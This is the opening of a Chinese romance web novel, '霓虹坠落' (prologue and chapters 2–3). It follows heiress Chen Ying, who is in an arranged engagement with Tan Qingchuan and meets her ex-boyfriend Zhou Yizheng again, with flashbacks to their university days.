《霓虹坠落》 1、楔子 《霓虹坠落》 文/面包有毒 文学城独家发表 * 陈楹昨晚酒喝多了。 醒来时,大脑昏昏沉沉的,喉咙干得要命。 如同缺水的鱼,意识还没清醒,身体的本能已经指引她走到客厅的冰箱前,冷气扑面而来,陈楹拿下一瓶冰镇的气泡水,拉开易拉罐,仰头灌了几口。 舌尖蔓开柠檬气泡水清新的味道,陈楹这才慢慢活了过来。 屈膝靠在敞开的冰箱门上,冰镇的易拉罐还在往外冒着水珠,她隐约记起今天好像有一件重要的事。 但具体是什么,她又想不起来了。 皱眉回忆了五分钟,仍是毫无头绪。 她决定不再为难自己。 慢悠悠地洗漱完,她赤脚走在地毯上,果然手机就在客厅的沙发上。 估计是昨晚喝醉了随手乱扔的。 不出所料,一整页的未接电话和未读消息。 魏嘉铭:【还没醒?怎么不接电话??】 许岑衍:【抱歉,昨晚让你喝太多了。还有,我昨晚说的都是认真的,就算没有名分,我也愿意和你在一起,我不会让你未婚夫知道我们的关系。[可怜]】 andy丨k&m酒吧丨订台找我丨:【陈小姐,昨晚您喝醉了,走得匆忙,把包落在咱们这边了,我们已经给您妥善保管好。您看什么时候方便来取一下?】 谈清川:【?】 瞥见最后一条消息,陈楹波澜不惊的神色终于变了变。 她终于记起了那件被她遗忘的今日必须完成的很重要的事。 她点开谈清川的聊天页面。 他今天一共给她发了三条消息。 往上两条分别是13:26分和15:03分发来的。 【下午三点,别忘了。我让张叔去接你。】 【你人呢?】 陈楹快步走到落地窗前,马路对面的老槐树下果然停着一辆黑色的保时捷,那车牌号她很熟悉,因为后四位正好是她的生日。 她看了眼时间,已经是下午四点半了。 想到谈清川今天推掉所有工作,在婚纱店里空等了自己一个半小时,愧疚的情绪渐渐涌了上来,但也仅有一秒,她就原谅了自己。 她决定不了谈清川的看法,但她自己可以选择原谅自己。 陈楹换了身衣服才下楼。 远远地,张叔就看到了她,提前下车拉开车门。 正要弯腰上车,突然陈楹视线一滞,动作慢了半拍。 因为,后座有人。 谈清川坐在右侧靠窗的位置,膝上放着笔记本电脑,屏幕冷白色的光映在他好看的眉眼间,棱角分明的五官变得更锋利立体,他专注地浏览着下属刚发过来的招标文件,并未给予她一个眼神。 这副不近人情的样子和她记忆中的那个人简直大相径庭。 难以想象,在十年前,她是那么喜欢他,她幼稚地在日记本上写满了少女心事,甚至无用地记录下他每日衣服的颜色,以及他对自己说过的话。 幸好感情是流动的,她变了。 轿车已经驶上高架桥,谈清川似乎终于忙完了公务,转头看她,目光在她颈间裸露的皮肤上扫了一眼。 “你昨晚喝醉了。”他语气平淡地开口。 陈楹心里咯噔了一声,眉头紧皱。 他是怎么知道的? 她刚才洗过澡,身上不可能还有酒味。 “你让人跟踪我?” “今早,星帆娱乐的人找到我,说即将要报道一则珠宝富商千金和当红流量明星深夜醉酒的头版新闻,”谈清川扯松了领带,目光灼灼地盯着她,随后勾了勾唇,“小楹,这么多年了,还没学会自己一个人睡觉吗?” 正是因为这桩丑闻,他今天一气之下,决定不亲自开车过来接她。 这是他给她的惩罚。 他该让她知道,他并不是无条件纵容她的。她该为自己的行为付出代价。 但没想到,她竟连试婚纱这么重要的事情都能忘。 陈楹自知理亏,拿出手机点开了微博热搜。 幸好,什么都没有。 寥寥几条花边新闻都是某z姓明星出轨的新闻。 搜索“许岑衍”的名字,出现的大多都是他新剧宣传的视频。 看来谈清川帮她把新闻压了下来。 其实这种捕风捉影的新闻,本就不值得大惊小怪。 不就是和某个流量明星喝了两杯酒,还是他主动凑过来的,她什么都没做。 陈楹忽然意识到,原来刚才谈清川往她脖子上看的那一眼,是在看她脖子上有没有吻痕。 他是狗吗。 “我不认识他,昨天是第二次见面。”她只解释了这么一句。 也不知道谈清川相信了没,他的表情并没有多大的波动,镜片后深褐色的瞳孔里依旧没有任何情绪,甚至又重新处理起邮箱里的文件。 他冷冷说道:“起码在这一个月内,不要再出现这样的新闻。” “嗯,知道了。” 说起来,她已经很尊重他了。 毕竟在一个月前,她就和那个欧洲的男模分手了,并且分得很彻底,联系方式都删得一干二净。 风景刮窗而过,车厢里安静得只剩下键盘的敲击声,重复的白噪音让人不自觉地放空思绪。 在下车前,陈楹鬼使神差地问了谈清川一个问题。 “能告诉我吗?” “什么?” “你为什么要和我结婚?” 那双漂亮修长的手就此停下,悬在笔记本键盘上方,至此,车厢内安静得没有任何声响。 他迟迟没有给出答案,陈楹忍不住多想。 她状似不经意地开口,试探:“你喜欢我?” 谈清川神色变了变,随后像听到了什么匪夷所思的话,立刻转过头看她,嘴角还挂着戏谑的笑。 “相信我,这是你最应该排除的第一个原因。” “那我就放心了。”陈楹松了一口气,忽然又想起什么,释怀地冲他笑了笑,“其实某种程度上,我们怎么不算是同病相怜呢?” 谈清川:“什么意思?” “因为,我们这辈子都注定不能和自己喜欢的人在一起,”陈楹未经思考,几乎脱口而出,“就像你和夏婵,我和——” 话说到这里,戛然而止。 空气如同死寂,所有声音顷刻间消失殆尽,车厢内一下安静得落针可闻。 陈楹胃里一阵翻涌,没再把话说下去,因为,她想到了一个人。 谈清川似乎也不愿意听她讲出那人的名字,望向窗外,冷声地打断了她。 “到了。” * 刚走进clairdelune,谈清川就接了个电话,走到门外。 他眉心微微拢着,眼睑低垂,这短短几秒,他就已经切换了工作状态,流利地用法语与电话对面的人沟通。 刚才在车上,陈楹瞥见了他今日的工作日程表,从早上八点一直到晚上十一点,行程安排得严丝合缝,没有一丝喘息的空间。 陈楹不由感慨,从另一种意义来说,和谈清川这样的人进行商业联姻确实是无比正确的选择。 她不需要很多爱,但她确实需要他为她赚很多钱。 陈楹自知出门前耽误了不少时间,还没等谈清川回来,她就先进了试衣间。 clairdelune是当前时尚圈风头最盛的时装品牌,这套高定婚纱又是由品牌新任创意总监亲自操刀设计,打磨了整整五个月时间才制作完成。 其灵感源自上个世纪爵士时代的服饰风格,直筒低腰的廓形优雅利落,下摆点缀着珍珠流苏,灵动轻盈,连头饰也是选用artdeco风格的钻石发带,如同那个时代,极尽奢华又纸醉金迷。 “这真是我见过最漂亮的婚纱了,也只有陈小姐您这样的气质才能配得上这么华丽的婚纱,您穿上就像好莱坞明星一样。谈先生待会看到一定移不开眼。” 一旁帮忙整理婚纱的店员也止不住地惊叹,她的目光从婚纱的裙摆缓缓移到陈楹的脸上,眼神中是难得的真诚。 “其实谈先生今天早上已经过来确认了一遍,他真的对您很上心。” 陈楹诧异:“早上?” 对方立刻点头。 “是的。” 怎么可能。 陈楹觉得她肯定是记错时间了。 虽然她并不在意谈清川的看法,但不管怎么说,还是需要询问一下他的意见。 试衣间的门缓缓打开,陈楹提起裙摆走出来。 谈清川这会已经打完电话,正在和别人交谈,他微微倾身,姿态从容又松弛,举手投足间透露着天生的贵气。 “上次在巴黎,william就和我提起过你,没想到今天会在这里遇见。” “嗯,确实很巧。” 那人话音刚落,陈楹大脑却嗡地响了声,整个人被钉在原地,全身上下的血液仿佛逆流,她脸色煞白,不自觉地攥紧了裙摆。 五年。 已经过去了五年,她以为她早就把这个人忘得一干二净,可原来她还记得他的声音。 没想到,再次见面,会是在这样的场景。 她穿着婚纱,而她的未婚夫和他相谈甚欢。 陈楹踌躇着不再往前,脚步顿住。 此刻,她只想离开。 但谈清川没给她这个机会。 下一秒,他就迈步朝她走了过来,皮笑肉不笑地把手环在她腰间。 往常他们一同参加宴会,谈清川都会绅士手,与她保持着适当的距离,但这一次,他一改作风,右手攀在她腰侧,五指收紧陷进她的皮肤,掌心的温度滚烫得瘆人。 “小楹,这是vela的周总,”谈清川热情地和她介绍,“听说以前也是在江大上学的,还是学校里的风云人物,你认不认识?” 手心渗出了汗,空气恍如凝固,直到这一刻,陈楹才缓缓抬头看向对面的人。 陌生。 这是此刻她大脑里唯一的想法。 时隔五年,周译铮已经彻底变了一个人,不再是洗得花白的衣服和老旧的球鞋,取而代之的是熨帖平整的手工西装,好闻的男士香水,连腕间佩戴的都是百万级别的手表。 他不再是以前那个任她摆布、对她唯命是从的周译铮; 也不是那个会为了二十万和她在一起,对她忍气吞声的周译铮。 此刻,他站在她面前,如同一场荒谬而美丽的幻觉。 她想起了五年前,在舂城,那年冬天冷得刺骨,他们挤在那窄小的木板床上,身体紧紧贴着,窗外树木摇晃,门窗作响,他双手捂着她的耳朵,像是要替她挡住整个冬天的风声。 他曾倾尽所有地对她好,会花两个月兼职的费用就为了给她买一份像样的圣诞礼物。 他会因为她一句玩笑话,在北海道-10c的冬天打着手电筒,在雪地里找一个并不存在的手镯,找了一整夜。 但最后,也是他,用那么冷静的语气对她说出了分手。 “陈楹,我从来没有喜欢过你,从一开始,我就只是在遵循你的要求,扮演一个让你满意的男朋友。” 那天,他们正好在一起半年,他竟连再多一天都不愿意忍耐,迫不及待地宣告了这段关系的结束。 如同细密的针扎进皮肤里,喉咙泛起铁锈味,但不过片刻,她便恢复如常。 陈楹抬头再次看向周译铮,礼貌地微笑,摇了摇头。 “抱歉,不认识。” 顷刻间,室内气压变低,周译铮眼神变得阴鸷,右手紧紧攥着,手背青筋凸起,指节泛起不寻常的白色。 像是怕场面太难看,谈清川轻笑了声,打着圆场:“你不常在学校住,不认识也正常。” 继而又带着歉意朝周译铮笑了笑,语气温和妥帖,“小楹毕业后也很少和以前的同学联系了,周先生别放在心上。” 本以为话题到此为止,但周译铮的目光直直地看着她,不依不饶地开口。 “是吗,可我好像见过陈小姐。如果我没记错的话,陈小姐是管理学院的。” 如同闷雷砸下,陈楹霎时屏住了呼吸,心在一寸一寸往下沉。 他到底想做什么。 幸好这时,有人从门外走了进来,高跟鞋踩在光洁的地板发出清脆的声响,扰乱了此刻微妙却又诡异的气氛。 那人穿着白色的职业装扮,看起来知性又干练,她径直走到周译铮身边。 “你姐夫说公司有事,待会再过来。”佟雅静说完像是才看到对面的陈楹和谈清川,疑惑地开口问,“对了,这两位是?” 周译铮收回目光,冷声回答:“陌生人。” 话音刚落,谈清川就忍不住轻笑了声,他竟也不恼,绅士地勾了勾唇:“没关系,周先生,如果您有空的话,也欢迎您参加我们下个月的订婚宴。或许,下次见面我们就不是陌生人了。” 一番话说得滴水不漏。 “抱歉,我们先失陪一下。” 没等周译铮回应,谈清川就牵着她的手去了右侧的贵宾休息室。 * 还没走远,谈清川就凑近在她耳边低语,右手仍环在她腰侧。 “刚才演得不错。”他不吝夸赞。 陈楹低声:“谢谢。” 关上贵宾休息室的门,谈清川终于松开桎梏在她腰间的手,帮她整理着额前的碎发。 “婚纱很好看,我很期待下个月的订婚仪式。” 他的动作温柔体贴,眼神专注地看着她,恍惚间,陈楹觉得他们似乎真是因为互相爱慕才会结为伴侣的。 但她很清楚,谈清川其实和她一样,只不过是擅长表演罢了。 果然,下一秒,他抬手看了眼腕表,语气恢复了冷静。 “我还有事,先回公司了。你自便。” 谈清川走后,陈楹反而乐得自在,对着镜子凹造型自拍了几张。 这确实是她见过最漂亮的婚纱,比当初的设计草图更让人惊艳,其实这还只是个订婚宴,本不需这么隆重,但谈清川还是给了她最好的。 他在物质上从不吝啬。 也是,对于他来说,钱和真心,后者才是最稀缺的。 不多时,门外竟响起敲门声。 陈楹想到某个人,后背僵了僵,手心变得泥泞。 打开门,所幸,站在门外的人,并不是周译铮。 佟雅静笑盈盈地看着她。 “陈小姐,我方便和你聊两句吗?” “当然。” 陈楹点头,示意她进来。 “听说陈小姐快要订婚了?” “嗯,”陈楹给出了更具体的日期,“下个月20号。” 她没说那些邀请她前来的冠冕堂皇的话,免得对方真的当真了。 “恭喜,”佟雅静莞尔,话里有话,“其实我知道你。” 陈楹一愣:“是吗?” “我还知道你和阿铮大学在一起过,”她用的是笃定的、不容置疑的语气,“你们当初为什么会分手?” 她的问题接二连三,甚至显得有些咄咄逼人。 陈楹感到了冒犯:“他没告诉过你吗?” “不过他说的也不全是真相,其实也没什么,只是玩腻了。”她云淡风轻地回道,“在我担心甩不开他之前,他先提了分手,就这么简单。” 空气彻底冷了下来,对方只意外了一秒,随后大概是想起了她那些被人津津乐道的花边新闻,继而露出一种果然如此的神情。 佟雅静维持着礼貌,没有过多评价,只微笑地看着她。 “看来有些话也不必多说了,希望你和谈先生是真的情投意合。” 她在最后四个字加重了读音。 说完,她从沙发起身,只是才走两步却顿住,没再向前。 陈楹顺着她的视线看去,也是在这一刻,她看到了周译铮。 他站在门口处,目光沉沉,脸色阴郁得可怕,像是正酝酿着一场即将到来的风暴。 很好。 看来刚才她说的话,他全都听见了。 * 陈楹从车上下来,天色已经彻底暗了,沿街路灯洒下柔和的光线,刚下过雨的路面还有些潮湿。 她小心地踮起脚,往前面那栋欧式风格的建筑走去。 安静的夜里,传来打火机金属盖反复开合的声响,短促清脆。 不远处,有人站在她家楼下,那人穿着笔挺的黑色衬衫靠在墙侧,几乎和夜色融为一体,右手正有一下没一下地拨弄打火机, 他发间沾着未干的雨丝,像是已经在这等了她很长时间。 奇怪的是,看到周译铮出现在这,她并不感到意外。 甚至她早有预感,他今天一定会来。 擦肩而过的瞬间,男人扼住了她的手腕,冰冷的指尖覆在她皮肤之上,引起一阵战栗。 “陈楹。” 他喊她的名字,声音低沉又干涩,像是许久都没有喝过水。 平静的夜里暗流涌动,连空气都变得闷窒压抑。 “在这等了我这么久,有事么?”她终于转头看他,不耐烦地上下打量。 周译铮下颌绷紧:“你刚才说的是气话,对吗?” “哪一句?” “你说,你玩腻了。”仅是重复这几个字,他的眼神都变得阴冷狠厉。 “你为什么会认为这是气话?”她装作恍然,继而平静地解释,“我是什么样的人,你还不清楚吗?” 陈楹睨了他一眼,拿过他手里的打火机,给自己点了根烟。 “你不会以为当初我对你说的那些话都是真的吧,‘你很特别,你和我认识的其他男生都不一样,你身上有一种让人迷恋的气质’,这样的话我对每个男朋友都说过。” 男人握着她右手的力度又重了几分,凸起的青筋盘踞在手臂上,显得极其骇人。 “和你在一起那半年,我确实早就腻了,就算当初你不提出分手,我也会开口的,”过去那些事一帧一帧地在脑海里闪过,陈楹维持着表面的平静,冷漠地看着他,“毕竟这种恋爱游戏谁会当真呢,说起来,这句话还是当初你对我说的。” 周译铮呼吸变重,表情变得痛苦,但仍旧没有松开手。 “要我说得再清楚一点吗,分开后,我没有一分一秒想起过你,如果不是今天你突然出现,我大概早就忘记你这个人了。” 罔顾他苍白的脸色,陈楹还在继续,“如你所见,我快要结婚了,希望你也能找到属于你的幸福。” 夜色下,周译铮无力地垂下眼睑,终于渐渐松开了手。 不知是不是她看错,他眼眶似乎红了,再抬头时,望向她的眼睛湿漉漉的,蒙上一层水光,看上去竟有些可怜。 她只不过是把当年他对她说的话还给他而已。 为什么他却哭了呢。 不知过了多久,久到陈楹已经失去耐心,眼前的人终于开口。 “陈楹,我相信你说的话,你确实没有想起过我。” 他苦笑地勾了勾唇:“在国外的那段时间,我搜索过你的名字,都是层出不穷的花边新闻,游艇约会、烛光晚餐、沙滩度假,照片里的男主角全都不一样。你怎么可能会想起我呢?陈楹,就像你说的,在你看来,我和那些人也没什么不一样的,对吧。” 最后两个字他说得很轻。 陈楹莫名心脏抽搐了一下。 她正要开口,目光瞥见一个戴着鸭舌帽的男人半蹲在不远处的花圃,见她看过来,鬼鬼祟祟地把手里的相机藏起来,又压低了帽檐。 陈楹马上反应了过来,这应该是某个娱乐报刊的狗仔,估计已经在她家蹲守很久了。 周译铮大概也发现了,眉头皱了皱。 “你去处理。”她下巴抬了抬。 以他现在的身份,不可能会缺少这方面的经验。 周译铮没有推脱,她刚松了一口气,但下一秒,他忽然伸手把她拉了过来,毫不犹豫地俯身吻住了她。 呼吸交缠,吻得炽热又疯狂,口腔里似乎有铁锈味在蔓延,男人的右手托在她后脑处,熟悉的气息笼罩着她,不远处快门声急促地响起,在这安静的夜里显得格外清晰。 陈楹下意识地将他推开,胸腔急促地上下起伏。 当下,她的第一反应竟然是她才答应了谈清川,这一个月内不能再有任何新闻的。 她不敢想象明天他看到这则报道时的表情。 “你不是让我处理吗?”周译铮勾了勾唇,露出恶作剧后的笑容,“这就是我处理的方式。” 话音刚落,他又扼住了她的手腕,将她双手举高抵在墙上,再一次吻上了她。 …… 不知过了多久,周译铮终于将她松开。 只是,花圃处蹲着的人已经不见了。 陈楹气得快喘不过气,忍不住抬手给了他一巴掌。 “周译铮,你疯了吗?!” 他的嘴唇早已被她咬破,此刻正汩汩地往外冒着血,颇有些触目惊心,但他像是毫不在意,缓缓用指腹抹去血珠,动作不紧不慢,他温和地笑着,只是眼底却是与之不符的戾气。 她声音微微发颤:“你知道这些照片一旦流出去,会对我们有多大的影响吗?” “你很担心被他看到?”周译铮嗤笑了声。 “过不了多久,这些照片就会满大街都是,不止是我,你也会被人叫做第三者。我们的过去会被人扒出来,我们的一言一行都会被放大,反复审视,到那个时候,不管公关团队怎么澄清都没有用了。” 听到她的话,周译铮的表情忽然变得轻松,沾了血的嘴角微微上扬。 “优点说完了,缺点呢?” 疯子。 陈楹难以置信地看着他。 他果然变了,他早已不是她记忆中冷静理智、会衡量利弊的周译铮。 “你可以不在乎你的名声,但我在乎,”陈楹再也没耐心和他周旋。“周译铮,我要结婚了。我的生活不会再有任何意外。” 不知是哪个词刺痛了他,他竟敛住了笑容,眼底的光慢慢暗了下去。 “所以,对你来说,我是意外。” 她咽下喉咙里的酸涩,点了点头:“对,你是我人生里的意外,也是我人生里最大的错误。这些年,我不止一次后悔,我不该去招惹你。” 意外,错误,后悔。 周译铮反复品味着这三个词,讽刺地勾了勾唇。 没什么,他只是想起了五年前,有个人曾对他说,他是她生活里最大的惊喜,他是上帝补偿给她的礼物,他是她人生里唯一真心喜欢过的人。 2、第二章 雾气氤氲,视线模糊,陈楹靠在温泉池边缓缓闭上眼睛,温热的水流浸润包裹着皮肤,思绪也随着水汽蒸发在上空。 慵懒的爵士乐在房间里流淌,空气中飘散着红酒淡淡的香气,她享受着这惬意的时刻,身体彻底放松下来,双手撑在温泉池边。 不知过去多久,大理石台上的手机噔地响了声,陈楹眉头微皱,转头示意,旁人立刻拿起手机,俯身半蹲在她跟前,为她点开未读消息。 是时濯发来的消息。 【宝宝,我在健身房哦。】 附上几张要露不露的对镜自拍,汗水打湿速干衣,紧紧贴在皮肤上,在光影的勾勒下,肌肉轮廓的线条格外明显,他对着镜子轻撩起衣服下摆擦汗,腹肌处的沟壑起伏更是一览无余。 虽然显得刻意,但还算赏心悦目。 陈楹无奈地轻笑了声,从温泉池中起身,旁人递来浴巾裹在身上,她擦了下被水汽打湿的发尾,脸上还泛着热气未散的红。 想起和时濯也有好几天没见了,她拿过手机,在键盘上打字。 【晚上一起吃饭?】 只片刻的功夫,时濯的消息就弹了出来,是一段五秒的语音,他语气雀跃。 【好呀,宝宝你给我发定位,我现在过来接你。】 【不过我要先去洗个澡,身上都是汗味,你肯定不喜欢[委屈]】 陈楹退出聊天框前,又瞥见了时濯发的那张腹肌照。 其实他算是聪明的,懂得花心思讨她喜欢,虽然有时候手段有点太浅白了,但花瓶也有花瓶的可爱。 两个小时后,时濯出现在酒店楼下。 深秋天气,他穿着燕麦色的羊绒大衣随意倚在车身前,颈间的格纹围巾被风扬起又垂落,右手百无聊赖地插在浅蓝色直筒牛仔裤口袋里,许是听见脚步声,少年猛地抬头,见她从台阶下来,眼睛弯弯,笑得灿烂。 他快步迎了上去,拥抱时陈楹闻到他身上淡淡的沐浴露香气,是很清爽的柠檬海盐的味道。 “终于舍得理我了?”时濯的手环在她腰间,闷声埋怨,眼神却是讨好的,“你昨天一整晚都不回我消息。” “昨天朋友过生日,没看手机。” “真这么忙吗?” 时濯撇嘴,他知道陈楹在撒谎,再忙也不可能一整晚都不看手机。 “嗯,忙。” 时濯犹豫了两秒,还是问了出口。 “他也在?” 时濯说的是陈楹的前任林喻辞,昨晚他一整夜都惴惴不安的,想到他们有那么多共同好友,说不定还真在那碰上了。 万一陈楹和那个人和好了,那他怎么办。 陈楹摇头,否认:“不在。” “哦~那没事了。” 时濯终于露出开心的笑容。 只要危险人物不在,不回消息也不是什么大事。他还不至于这么小气,处处管着她。 其实在陈楹之前,他一直讨厌被女朋友管着,可是陈楹真一点都不管他,也不好奇他每天在做什么。 他反倒又不乐意了。 果然,人都是犯贱的。 晚餐定在市中心一家法式餐厅,小提琴声悠扬,头顶的水晶吊灯洒下柔和的光线,精致的餐盘上摆放着整齐切好的牛排。 正谈起下周alexis来中国的首场巡演,时濯放在桌面的手机突然弹出消息。 是一条转账消息。 有人给他转了37.5元,有零有整的。 时濯正要放下手机,抬头,却对上陈楹投过来的目光,他心里竟咯噔了一声。 那眼神并没有任何的意味,但他莫名感到局促和窘迫,手心冒了汗,开口说道:“是我室友转过来的电费。” 陈楹本就没在意,点头应了声:“哦。” 担心在她眼中他是会为了一百几十块计较的人,他又忍不住解释:“我一开始就和他说了不用给,他家境不好我们宿舍都知道,我也不在意这点钱,但他还是每个月准时给我转过来,我也……没办法。” 时濯知道,穷人的自尊心是很宝贵的,某种程度上,他收下也是在保护对方的自尊。 像其他两个室友就不会想得那么多,欣然地接受了他的好意,只有周译铮每次都那么另类。 其实没有人会因为这就高看他一眼,只觉得这人太斤斤计较。 话音落下,空气骤然陷入了安静,陈楹没有接他的话,视线望向窗外的高楼,抿了一口红酒。 也是,她怎么会关心这些事。 回到学校已是晚上九点,彼时夜色正好,树影摇曳,落叶被风吹至脚边,时濯看着站在旁边的陈楹,还是没忍住低头吻住了她。 早已不是第一次谈恋爱,也并不是第一次亲吻,但面对她,他总是紧张得像个情窦初开的高中生,心跳声剧烈。 他扣紧陈楹的后腰,吻得越来越深入,只有这一刻,他才能感觉到她的心完全在他身上,他才能感觉到陈楹是喜欢他的。 只是,有人打断了这旖旎的气氛。 “时濯。” 身后突兀地传来一道低沉的声线。 时濯下意识地皱眉,神色不耐,只能停下,连陈楹也闻声转过头。 只是,猝不及防地,陈楹撞进了一双深邃疏离的眼睛。 坦白而言,那是一张让人呼吸一滞的脸,完美得有些失真,鼻梁高挺,眼尾微微上挑,连手术台都无法精雕细琢还原的五官,饶是见过不少明星,这一刻,陈楹竟还是晃了晃神。 这么冷的天,他只穿了一件黑色连帽卫衣,领口有些松垮,下身是一条洗得发白的牛仔裤,帆布鞋也是最简单的款式,是一个不知名的品牌,她此前从未见过。 她的目光在他身上停留了许久。 只是那人像是根本没留意到她,视线仍凝在时濯身上。 时濯似是察觉到什么,不悦地抿紧唇,语气也有些不耐烦。 “怎么了,有什么事吗?” 周译铮眼尾没抬:“宿舍钥匙。” 时濯才想起这事,手伸进口袋里找钥匙,烦躁地说:“哦,我还以为我早上还你了。” 时濯昨天把宿舍钥匙弄丢了,所以才问周译铮借了钥匙,因为他平时都在图书馆待到快闭馆才回来,谁知道今天回来得这么早。 “嗯。” 周译铮应了声。 抬眼时,他瞥见时濯唇角处淡淡的口红印,很快又移开了眼。 这段对话仅持续了不到一分钟,说话时,陈楹一直在看他。 路灯下,少年的眼睛很亮,深褐色的瞳孔让她想起灯光下的琥珀,她极少会这么认真地观察别人的眼睛。 直到那人的背影消失在夜色里,陈楹才回过神。 “他是?” 她好像从来没有见过这种类型,那么廉价普通的衣服穿在他身上竟显得清隽干净,不加修饰。 “我室友,就是刚才给我发水电费那个。” “叫什么?” 时濯冷声,不情不愿地说:“周译铮。” “经管的?”陈楹好奇。 “不是,是计算机的。”时濯小声抱怨,有些不满,“宝宝,你怎么对他这么好奇,你再问下去,我真吃醋了。” “只是问问,”陈楹抬头看他,没好气地笑,“有什么好生气的?” 她只是出于好奇,对他并没有什么想法。或者说,她只是感到疑惑,怎么以前从来没有见过这个人。 听到她这么说,时濯神色终于有所好转,俯下身,继续刚才这个吻。 * 时濯快十一点才回到寝室。 右手推开门,机械键盘的声响此起彼伏,室友张树恒正戴着耳机打游戏,手指翻飞,电脑屏幕也在不停地切换,脸上的表情极其专注,许是见他回来,才把耳机摘下少许。 “时濯,你去哪了,这么晚才回来?” 他们本来约好了今晚一起打游戏的,给他打电话也联系不上人。 “去约会了。” 时濯说完,视线越过乱糟糟的寝室,径直往周译铮的座位看。 白炽灯下,周译铮坐在电脑前,背挺得很直,修长的手指在键盘上敲击,屏幕上是密密麻麻的代码,看上去像是在弄什么网页,估计又是网上找的活。 实话说,除了他以外,其他人都不屑于干这个,毕竟赚这点钱还不如待在寝室里打游戏舒服。 在心里这么比较了一番,时濯刚要生出点优越感,可想起刚才发生的事,心情一下又变得沉闷。 他不免阴暗地想到,刚才周译铮是不是故意打断他的,就为了让陈楹注意到他。 也不是没有这种可能。 “难怪又把我鸽了,”张树恒挤眉弄眼打趣,“那怎么这么快回来了,你说一声,我们不给你留门就是了。” 时濯平时都不理会这些打趣,可是目光掠过周译铮时,停顿了片刻。 他意有所指地回道:“这不是怕明天又迟到了,免得她又埋怨我。” 张树恒噎住:“好家伙。” 许薪杨刚洗完澡从浴室出来,头发还滴着水,走过来用力拍了下张树恒的后背。 “你就多余问,到头来伤害的还不是我们这些单身的。” 时濯和舍友关系不错,又忍不住炫耀,说起上个星期陈楹送他的礼物,又说起陈楹有多爱他。 “她特别黏我,我一会不回消息,她就不停地给我打电话,她说和我在一起,总是没有安全感。” “还有,每天晚上她都要和我说晚安,等不到我的消息,她就一整晚都睡不好。” “她说,她谈的男朋友里,最喜欢我。” “她去旅游都要每天和我打视频,还说要带我去见她的朋友。” 这些话基本上都是反过来的,时濯编起来倒是也不费工夫。 时濯一边说一边观察周译铮的反应,然后他发现—— 周译铮好像……根本没在听。 他始终看着眼前的电脑,连敲击键盘的速度都没有丝毫变化,就像是把宿舍里所有人都当成透明人。 看来真是他多想了。 实话说,时濯向来都对自己的长相很自信,从初中开始他就被塞情书,学校表白墙上总有他的名字,但自从搬进这个宿舍,看到周译铮的第一眼起,他是第一次感到困惑。 困惑的是,竟然还有人能长成这样,上帝真是太偏爱他了。连他见了都觉得相形见绌。 这段时间以来,他一直避免让陈楹碰见他,除了今天。 时濯心情复杂地在座位坐下,右手习惯性地点开陈楹的朋友圈。 说起来,起初他也只是想和陈楹玩玩,她家境好,长得好看,带出去也有面子,但在一起的这一个多月,他是真的想和她一直走下去。 只是,不知道是不是他的错觉,他总觉得陈楹才是只想和他玩玩而已。 3、第三章 已经过了晚高峰,临江路一带仍是堵得要命。 后视镜里车流拥堵,一眼望不到头,人的耐心在这接连不断的喇叭鸣响中逐渐消耗殆尽。 魏嘉铭烦躁地把车窗摇了下来,嘴里一边骂着:“真服了,这破路得堵到啥时候,真半个小时都不带动的。” 他这会难免有些心虚。 毕竟从度假村回市中心并不是只有这一条路,出发前,陈楹就提醒过他,但他心存侥幸,想着今天又不是周末…… 最后的结果就是,从七点堵到现在。 “姐,我错了,刚才我就该听你的。” 陈楹没搭话,百无聊赖地打开手机,不出所料,就这么一会,时濯又发来好几条消息。 她扫了一眼,只挑了最后一句回复。 没有等到意料之中的骂声,魏嘉铭诧异,转过头观察陈楹的表情,看来表姐今天心情不错,要换做平常,早就数落他一通了。 他情绪稍稍放松下来,和她闲聊:“对了,你知道吗,清川哥过年要回来了。说起来都好久没见他了。” 听到这个名字,陈楹倒是怔愣了片刻,睫毛轻轻颤动。 “哦,是吗?” “昨天打游戏的时候,他和我说的。就是不知道夏婵姐会不会一起回来。” 太阳穴处隐隐发胀,陈楹深呼吸一口气放下手机,胸口仍闷得像被浸满水的湿毛巾裹住了,唇线抿紧。 她想抽烟。 后方有车主起了争执,围观的人越来越多,她烦闷地把车窗关上,想隔绝所有噪音。只是,忽然,她视线一顿,目光凝在马路对面的西餐厅。 穿过影影绰绰的人群,她看到了一个熟悉的身影。 那张脸实在过目难忘,她记得他叫周译铮。 当这个名字浮现在脑海,陈楹惊诧于自己竟还能记得他的名字。毕竟她记忆力一向不好。 他穿着餐厅里统一要求的黑色制服,金色铭牌规整地别在右侧胸口,此刻,他正微微倾身回答那两位外国顾客的问题,姿态优雅得体,对方频频点头,似是感到十分满意。 像这样的高级餐厅,对服务生的外貌有一定的要求,但那么多人里,她竟还是一眼就看到了他。 巧合的是,耳边魏嘉铭正望向窗外,提议。 “好饿,要不我们先去吃饭吧,对面刚好有家silverlune,听说味道还不错。” * 陈楹确信周译铮看到了自己。 他端着银色托盘擦肩而过,虽然只有一秒,但她还是捕捉到了他眼中不加掩饰的轻蔑和鄙夷。 陈楹起初还有些困惑,直到看见旁边的魏嘉铭,她好像终于明白了什么。 片刻后,她得出了两个结论: 第一,他误会了。 第二,看来他并不是对她毫无印象。 陈楹嘴角扯了扯,没在意,用湿毛巾擦拭掌心,视线越过面前的高脚杯,落在墙上那幅文艺复兴时期的画作。 “你和他认识?”魏嘉铭挑了挑眉,望向身后那个服务生,边翻阅菜单。 男人总是对方圆几里内能对自己造成威胁的雄性充满了警惕性,他想,以后可不能带女朋友来这家餐厅,免得她三心二意。 陈楹摇头,晃了晃酒杯:“不认识。” 只见过一面,确实不能算认识。 “我就说呢,没记错的话,我记得你还有个很烦人的男朋友。” 陈楹只笑。 魏嘉铭把牛排送入口中,又把话题扯了回来:“你别说,这服务生长得挺是那么回事,要不我把他推给世平叔公司的星探,说不定还真就红了。” “你转性了?”陈楹用刀叉切锯牛排,送入口中,浅笑道,“这么热心。” 魏嘉铭轻嗤了声:“我爸说的,顺手的人情,没理由不做。” 说到这,他又打趣道,“毕竟连你都盯着他看得入神,你说,是他好看还是清川哥好看?” 魏嘉铭很识趣地没拿自己去比较,免得自取其辱。 陈楹扯了下嘴角,笑意未抵眼底:“这么多吃的,还那么多话。” 北城的天气向来诡异,离开时,竟还下起了雨。 深秋,空气里夹杂着潮湿的冷意,落叶在路灯的映照下像满地陈列的腐烂的尸体,魏嘉铭去了附近的商场取车,陈楹站在马路边,点了一根烟。 细长的烟夹在指间,打火机窜出火舌,烟丝点燃,猩红的火光在夜色中闪烁,陈楹闻着尼古丁的味道,竟无由来地变得惆怅。 